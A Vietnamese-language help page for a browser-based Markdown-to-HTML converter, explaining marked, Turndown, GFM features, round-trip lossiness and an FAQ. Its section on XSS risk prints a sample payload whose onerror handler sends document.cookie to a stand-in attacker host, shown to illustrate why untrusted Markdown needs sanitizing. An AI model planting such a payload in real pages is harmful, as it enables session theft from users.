Chuyển đổi Markdown ↔ HTML
Chuyển Markdown sang HTML và ngược lại. Hỗ trợ GFM (table, task list). Chỉ trong browser.
Markdown ↔ HTML Converter
—Runs entirely in your browser. Your input never leaves your device.
What next?
How it works
Tại sao cần convert giữa Markdown và HTML
Markdown là format để viết — gõ nhanh, dễ đọc ở dạng source, portable giữa các editors. HTML là format để render — thứ trình duyệt thực sự hiển thị, email clients gửi đi, CMS platforms lưu trữ. Hai format phục vụ các giai đoạn khác nhau trong cùng một content lifecycle:
- Migrate blog từ static site generator dùng Markdown sang CMS lưu HTML
- Lấy HTML từ WYSIWYG editor và convert sang Markdown cho docs repository
- Render Markdown thành HTML cho email templates hay PDF generation
- Xem Markdown snippet sẽ tạo ra HTML gì trước khi deploy
Markdown sang HTML: cách marked hoạt động
Tool này dùng marked, một trong những Markdown parser JavaScript nhanh nhất và được deploy rộng rãi nhất. Nó convert Markdown source thành HTML string trong một synchronous pass.
marked hỗ trợ cả CommonMark (Markdown spec chặt chẽ và không mơ hồ) và GitHub Flavored Markdown (GFM) extensions. GFM được bật mặc định vì đó là thứ hầu hết developer mong đợi — nó thêm:
- Tables — Cú pháp pipe
| col | col | - Strikethrough —
~~text~~ - Task lists —
- [ ] item/- [x] item - Autolinks — URLs trần thành clickable links tự động
- Fenced code blocks — Triple-backtick
```với optional language hint
Tắt GFM mode nếu cần strict CommonMark compliance.
Rủi ro XSS: raw HTML trong Markdown
Markdown cho phép nhúng raw HTML. Điều này có chủ đích — cho phép tác giả làm những thứ Markdown syntax không hỗ trợ, như <details>, <sub>, <kbd>. Nhưng nó cũng có nghĩa Markdown từ nguồn không tin cậy là XSS vector:
Đoạn văn bình thường.
<script>alert('XSS')</script>
<img src="x" onerror="fetch('https://evil.com/steal?c='+document.cookie)">
Nếu render mà không sanitize, script và event handler sẽ chạy trong browser của người dùng. Điều này quan trọng khi bạn nhận Markdown từ người dùng — blog comments, user profiles, wiki pages, issue trackers.
Tùy chọn sanitization của tool chạy HTML output qua DOMPurify sau khi render, loại bỏ <script> tags, javascript: hrefs, event handler attributes (onerror, onclick, …). Bật sanitization khi Markdown source đến từ user input. Với nội dung của bạn — docs, blog posts, README files — sanitization là tùy chọn vì bạn tin source.
HTML sang Markdown: cách Turndown hoạt động
Convert HTML ngược về Markdown dùng Turndown, library walk qua HTML DOM tree và map từng element sang Markdown tương đương. Conversion dựa trên rules:
<h1>→# Heading<strong>→**bold**<a href="url">text</a>→[text](url)<ul><li>→- item<pre><code>→ fenced code block<table>→ GFM pipe table (cần GFM plugin)
Round-trip lossiness: những gì không survive
Convert Markdown → HTML → Markdown (hay ngược lại) là lossy. Đừng kỳ vọng round-trips là idempotent:
Mất trong Markdown→HTML→Markdown:
- Setext-style headings (
===underlines) thành ATX-style (#) - Reference-style links
[text][ref]thành inline links[text](url), reference definitions biến mất - HTML comments
<!-- … -->có thể bị bỏ bởi sanitization - Indented code blocks có thể thành fenced
- Custom HTML mà Turndown không có rule thành raw HTML block hoặc bị drop
Mất trong HTML→Markdown:
- CSS classes và inline styles — Markdown không có styling
idattributes — Markdown headings không có ID syntax- Complex table features: colspan, rowspan, merged cells
<div>và generic containers không có Markdown equivalent
Với one-way publishing pipelines (viết bằng Markdown, publish dạng HTML), lossiness không quan trọng. Với bidirectional editing thì có.
Syntax highlighting
Fenced code blocks với language hint tạo ra <code class="language-js"> trong HTML output. Syntax highlighting không được áp dụng bởi converter — đó là rendering step do các library như Prism hay highlight.js thực hiện trong browser hoặc build step. Language class được giữ trong output để highlighting library của bạn có thể pick up.
Nhúng HTML trong Markdown
Khi HTML được nhúng trong Markdown và GFM mode được bật, marked xử lý HTML blocks nguyên vẹn. Một gotcha phổ biến: phải có blank line phân cách HTML blocks khỏi Markdown paragraphs:
Một đoạn văn trên.
<div class="note">
Đây là raw HTML trong Markdown.
</div>
Một đoạn văn dưới.
Thiếu blank lines quanh <div>, behavior phụ thuộc vào parser. Blank lines là yêu cầu của CommonMark spec và được marked tuân thủ.
Privacy
Toàn bộ conversion chạy trong browser dùng marked và Turndown. Nội dung của bạn không bao giờ được gửi lên server. Cả hai library đều MIT-licensed.
FAQ
Render Markdown từ user input thẳng ra HTML có an toàn không?
Không. Markdown cho phép raw HTML blocks, nghĩa là Markdown không tin cậy có thể chứa <script> tags, onerror handlers, và javascript: links. Luôn bật tùy chọn sanitization (dùng DOMPurify) khi render Markdown do người dùng cung cấp. Với nội dung của bạn — docs, blog posts, README files — sanitization là tùy chọn vì bạn tin source.
Sự khác nhau giữa CommonMark và GitHub Flavored Markdown là gì?
CommonMark là spec chặt chẽ và không mơ hồ cho Markdown. GFM (GitHub Flavored Markdown) mở rộng thêm tables, strikethrough (~~text~~), task lists (- [ ] item), và autolinked URLs. Hầu hết developer kỳ vọng GFM vì GitHub, GitLab, và hầu hết Markdown editors hỗ trợ nó. Dùng CommonMark mode chỉ khi cần strict spec compliance cho publishing system yêu cầu.
Tại sao HTML→Markdown conversion mất CSS styles?
Markdown không có khái niệm styling. Không có Markdown syntax cho font color, font size, custom classes, hay inline CSS. Khi Turndown convert <span style="color:red">text</span>, nó chỉ có thể emit text — thông tin styling bị mất. Nếu cần styled output, giữ nguyên HTML hoặc dùng rich text format như DOCX.
Round-trip conversion (MD→HTML→MD) làm thay đổi Markdown. Có phải lỗi không?
Không, đây là expected behavior. Conversion theo cả hai hướng đều lossy. Reference-style links thành inline links, setext headings thành ATX headings, custom HTML blocks có thể bị drop hay alter. Round-trip identity không phải mục tiêu thiết kế của các parsers này. Dùng one-way conversion cho publishing pipelines; với bidirectional editing, chỉ giữ authoritative source ở một format.
Tại sao fenced code block không được syntax highlight trong output?
Converter output <code class="language-js"> (hay language bạn chỉ định) nhưng không áp dụng syntax highlighting — đó là rendering step riêng biệt. Để có highlighted output, chạy HTML qua Prism.js hay highlight.js sau conversion, hoặc dùng Markdown renderer đã bao gồm highlighting.
Xử lý tables trong HTML→Markdown conversion thế nào?
HTML tables chuẩn (<table><tr><td>) convert thành GFM pipe tables khi GFM plugin được bật trong Turndown. Tables đơn giản không có merged cells convert tốt. Tables với colspan, rowspan, hay nested tables không thể biểu diễn trong GFM table syntax — chúng sẽ được emit dưới dạng raw HTML blocks trong output.
Markdown convert xong có nhiều blank lines khắp nơi. Có loại bỏ được không?
Các blank lines thêm vào là đúng theo Markdown — blank lines phân cách block elements (paragraphs, headings, code blocks, tables) theo yêu cầu của spec. Xóa chúng có thể làm hỏng cấu trúc Markdown. Nếu bạn thấy nhiều blank lines hơn mong đợi, có thể do source HTML có extra <br> tags, <p> tags bọc quanh block elements, hay <div> containers mỗi cái emit surrounding blank line.
Có thể convert cả trang HTML đầy đủ, gồm cả <head> và navigation, sang Markdown không?
Bạn có thể paste full HTML page, nhưng Turndown sẽ cố convert mọi thứ — nav menus, footers, script tags, style blocks — tạo ra output ồn ào. Với web page extraction, tốt hơn là isolate main content element (<article>, <main>, hay <div> cụ thể) và chỉ convert phần đó. Browser extensions như Markdownload thực hiện extraction step này trước khi convert.